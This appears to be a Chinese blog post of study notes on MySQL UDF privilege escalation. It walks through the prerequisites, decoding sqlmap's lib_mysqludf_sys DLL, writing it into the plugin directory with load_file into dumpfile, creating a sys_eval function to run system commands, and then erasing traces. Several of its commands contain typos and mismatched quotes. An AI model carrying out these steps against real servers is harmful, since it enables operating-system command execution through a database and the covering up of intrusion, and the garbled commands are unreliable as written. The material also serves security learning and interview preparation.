1、背景?
这是关于一次mysql udf提权的一次学习,这个东西已经很老了,但是面试的时候还是会问,这次写博客也算是我的一次总结吧。我觉得自己挺菜的,但是愿意学东西,希望能有所进步吧。
2、利用条件?
1、secure_fire_priv为空,允许导入和导出
2、数据库用户为高权限(进行文件读写,一般为root权限)
3、什么是UDF库?
UDF表示的是MySQL中的用户自定义函数,使用方式与系统自带的user()、version()等函数一样。udf文件在windows和linux系统下后缀分别为dll和so,即动态链接库文件,由C、C++编写。
4、UDF文件的位置?
1、sqlmap中的位置
2、metasploit中的位置
5、如何利用?
1、查看是否可以导出文件,secure_file_priv为空。
2、查看数据库用户权限(加上\G是为了让格式好看一点)
3、查看mysql版本和位置(两种输入都可以啦)
4、查看主机系统架构
5、根据数据库版本定位udf文件的写入位置
从MySQL 5.1开始,UDF文件必须包含在plugin (插件安装目录)中,@@plugin_dir记录了plugin文件的位置,定义在mysql.ini文件中,你可以通过mysqld更改plugin的目录位置。
mysqld.exe --plugin-dir=F:\\xxx\\lib\lplugins\l
另一种方法是编写一个新的mysql配置文件,并通过-defaults-file参数将其传递给mysqld。
mysqld.exe --defaults-file=F:\\xxx\\my.ini
my.ini中的内容如下:
[mysqld]
plugin_dir = F:\\xxx\\ib\\plugin
6、上传十六进制文件?
有很多方法可以做到这一点。load_file函教支持网络路径。如果你可以将DLL复制到网络共享中,那么你就可以直接加载并将它写入磁盘。
使用sqlmap自带的插件程序解码(为了防止误杀,多用二进制存储,所以需要将二进制转16进制)
python extra/cloak/cloak.py -d -i data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
解码成功后,会在当前目录下生成lib_mysqludf_sys.dll看到上面的执行函数了吗?利用的就是它上传lib_mysqludf_sys.dll到ib\plugin目录
select load _file(\\\\127.0.0.1\\xxx\\lib_mysqludf sys_64.dll') into dumpfile "F:\\xxx\\mysql-5.7.21\\lib\\plugin\\lib_mysqludf_sys_64.dll";
这里可以使用网络路径,当然,也可以使用物理路径。
7、命令执行?
创建命令执行函数
create function sys_eval returns string soname 'lib_mysqludf_sys_64.dll";
查看命令是否被创建
执行系统命令
可以使用sys_eval,其中前者执行系统命令返回结果
select sys_eval("whoami");
8、痕迹清理?
做事不马虎,记得扫除痕迹。
删除表drop table udf;
删除函数drop function sys_eval;
9、其他函数?
其他函数也可以用啦,但是需要是udf文件中存在的,下面就不演示了。